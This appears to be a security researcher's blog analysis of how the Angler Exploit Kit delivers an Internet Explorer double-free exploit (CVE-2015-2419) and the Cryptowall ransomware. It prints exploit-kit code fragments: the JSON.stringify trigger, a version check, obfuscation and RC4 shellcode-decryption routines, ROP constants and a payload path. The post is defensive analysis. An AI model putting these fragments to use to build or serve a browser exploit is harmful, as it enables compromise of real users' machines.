CVE-2015-2419 – Internet Explorer Double-Free in Angler EK

The Angler Exploit Kit (EK) recently added support for an Internet Explorer (IE) vulnerability (CVE-2015-2419) that was patched in July 2015. Quickly exploiting recently patched vulnerabilities is standard for Angler EK authors, but the target has been Adobe Flash Player since the second half of 2014. The exploitation of CVE-2015-2419 marks the second departure from Flash exploits for Angler (the first being the inclusion of CVE-2015-1671 in Silverlight). This may be the result of Adobe’s recent exploit mitigations in Flash Player that prevent attackers from using Vector (and similar) objects to develop their control over corrupted Flash processes. To date, Angler will deliver Flash, IE, and/or Silverlight exploits depending upon the target’s environment.

Angler also added a new obfuscation to its IE exploit. The landing page fetches a stub of keys and data necessary to run the exploit from the server each time it executes. The stub of information is only sent to victims that broadcast vulnerable browsers, and is protected with XTEA over a homebrew Diffie-Hellman.

IE Exploit Delivery Protection using Diffie-Hellman Key Exchange

Angler’s landing page is obfuscated in a mix of HTML and Javascript (JS).  Underneath the first layer of obfuscation, the landing page profiles the environment, selects exploits to launch, and launches the exploits. The IE exploit is further obfuscated, and uses a key sharing (Diffie-Hellman (D-H)) cryptosystem to tailor each attack to an individual victim’s machine. The crypto implementation uses library code from at least jsbn.js (BigInteger implementation in JavaScript), and bears similarities to cryptico.js.

The victim’s browser will POST the following JSON to the attacker’s server. The naming convention follows a typical naming convention for the D-H protocol where g is the base, p is the modulus, and A is (g**a_) mod p (where a_ the victim’s secret exponent that is not transmitted on the wire). There system takes little care in the safety of these values. They are chosen from the cryptographically unsafe Math.random (in a custom and imbalanced way that prefers nibbles 0-9 over a-f), small, and without primality tests. Value v is the result from ScriptEngineBuildNumber(), which identifies the build of jscript9.


The attacker responds with a base64 encoded version of the following. B is the attacker’s D-H response ((g**b_) mod p where b_ is the attacker’s secret exponent that is not transmitted). k is an encrypted version of a key used to decrypt B. The attacker generates k by XTEA encrypting a random key with the D-H shared key (s = (A**b_) mod p). The victim XTEA decrypts k, and then XTEA decrypts b.


b contains constants for the rest of the exploit (in the appendix in its entirety). The constants are accessed through a couple layers of redirection in the exploit so that anyone performing static analysis of the attack wouldn’t have the complete exploit. They would have the code flow, but none of the constants (e.g., “ur0pqm8kx”, the password to decrypt the shellcode or "stringify" the method name called from JSON).


Furthermore, attempts to replay the exploit files will fail because the D-H secret key will be lost. A new random D-H g, A, and p will be created, and won't match the old attacker’s response. As a result, the decryption of the D-H shared secret s will be wrong, as will the decryption results of k and b, and the exploit will fail. The most obvious ways to observe the attack are to:

1)     Break the crypto
2)     Break the PRNG
3)     “Do it live”

It is unclear why the attacker chose to protect only the constant values in the exploit instead of the entire exploit. The decision seems like an unnecessary complication.

CVE-2015-2419 Vulnerability Details

CVE-2015-2419 is a double free vulnerability in jscript9’s native JSON APIs that was patched in July with MS15-065. Specifically, the vulnerability exists in the way that JSON.stringify parses deeply nested JSON data as follows. The attacker’s chosen arguments to JSON.stringify are reproduced in their entirety in the appendix.

Il1I4['prototype'].yc =
    function(a) {
        if (!!1)) throw new Error(3);
        JSON["stringify"](this.Pc, this.uc);

Browser Version Validation

This exploit depends on the version of jscript9.dll. In the decoded JSON response above, we can see the key value pairs corresponding to different versions of jscript9.dll


We can also confirm the version targeted from the following code section:

try {
             var c = a.D["ScriptEngineMajorVersion"](),
                d = a.D["ScriptEngineMinorVersion"]()
                e = a.D["ScriptEngineBuildVersion"](),
                b = c == 11 && d == 0 && e <= 17905;
        } catch(f) {}
        if (!b) throw new Error(-1, window["ScriptEngineBuildVersion"] ? '' + window["ScriptEngineBuildVersion"]() : '');

Shellcode Decryption Stage

The shellcode is present inside the IE exploit deobfuscated page as RC4 encrypted and base64 encoded. The key to decrypt the shellcode is also fetched from the above decoded JSON response. In our case, the decryption key is: ur0pqm8kx.

The decryption subroutine is mentioned in Appendix II.

Payload Stage

This latest IE exploit is being used to download the Cryptowall ransomware similar to other variants of Angler Exploit Kit observed in the past few months. The payload is downloaded encrypted over the network. The URL to download the payload is fetched as shown below:

url = "http:// + window[location][host] + / + base64_decode(a)";

Here, a is fetched from the above decoded JSON response. In our case, it is xexec.

xexec() is a custom function which uses a key on the exploit kit landing page to decrypt the path from where the payload has to be fetched.

    String['prototype']['xexec'] = function() {
        return decryption_routine(encrypted_path)

encrypted_path is present on the exploit kit landing page.

encrypted_path = 'F1om1GGamPpL2dyVZZs0U9vmNWGZmPEJVbw8Rcy95wymVmWJGZwZVYlZVN9
lFVlVFM0XPV3ThBJPO1I  G 0 Z      tp M 2';

Using the decryption routine mentioned in Appendix I, this decrypts to the following base64 encoded data:

decrypted_path = ZmF0aGVyLm1odG1sP2ZpcmU9ZW8wJmNvbG9yPVRENm5RJmZlZGVyYWw9ZVVw

This base64 decodes to: " father.mhtml?fire=eo0&color=TD6nQ&federal=eUpwxsH&anything=b-5&set=GxMmUmpVak&organization=Vu1PaWIELYN_rO0b6gJm"

This is the path from which payload is served

The payload fetched from above path is encrypted. It will be decrypted using XTEA algorithm by the shellcode. The XTEA key used is present in the deobfuscated HTML page. In our case, it is: Du9JOBgkbfzGvmFF.

Appendix I

Decryption routine to fetch payload path. The key is present on exploit kit landing page.

window["osSnUV"] = new Function ('text', "var cryptKey = key, rawArray = cryptKey.split(''), sortArray = cryptKey.split(''), keyArray=[];sortArray.sort(); var keySize = sortArray.length;for (var i=0; i<keySize; i++) {keyArray."+p+"(rawArray."+i+"(sortArray[i]));}var k = keySize - text.length % keySize;for(var l = 0; l<k;l++) {text += ' ';} var endStr = '', i,j,line,newLine;for (i = 0; i < text.length; i += keySize) {line = text.substr(i,keySize).split('');newLine = '';for (j = 0; j < keySize; j++){newLine += line[keyArray[j]];}endStr = endStr + newLine;}endStr=endStr.replace(/\\s/g,'');return endStr;");

Appendix II

RC4 decryption routine to fetch shellcode:

function DecryptionRoutine(key, encrypted_shellcode) {
            var d = [], e = 0, f, decrypted_shellcode = '';
    for (h = 0; h < 256; h++)
                        d[h] = h;
    for (h = 0; h < 256; h++)
                        e = (e + d[h] + key.charCodeAt(h % key.length)) % 256;
                        f = d[h];
                        d[h] = d[e];
                        d[e] = f;
    for (var k = e = h = 0; k < encrypted_shellcode.length; k++)
                        h = (h + 1) % 256;
                        e = (e + d[h]) % 256;
                        f = d[h];
                        d[h] = d[e];
                        d[e] = f;
                        decrypted_shellcode += String.fromCharCode(encrypted_shellcode.charCodeAt(k) ^ d[(d[h] + d[e]) % 256]);
    return decrypted_shellcode;

Appendix III

Contents of the b constant:

"IIlI":"XCHG EAX,ESP","IIll":"MOV [ECX+0C],EAX","llIl":"CALL [EAX+4C]","llII":"MOV EDI,[EAX+90]","IIII":"a","lIll":"kernel32.dll","lIlll":"virtualprotect","IIIlI":11,"lIIll":0,"l

Appendix IV

Attacker’s chosen arguments to JSON.stringify to exercise CVE-2015-2419:

Pc = {"a0":{"a0":{"a0":{"a0":{"a0":{"a0":{"a0":{"a0":"8HEQ36D4","a1":"7UI7T5FN","a2":"RFM8ORW8","a3":"G50CEWBI","a4":"BL30110U","a5":"AWE8A46R","a6":

uc = function (a, b) {
        return b


We would like to thank Aakash Jain for his contributions to this blog.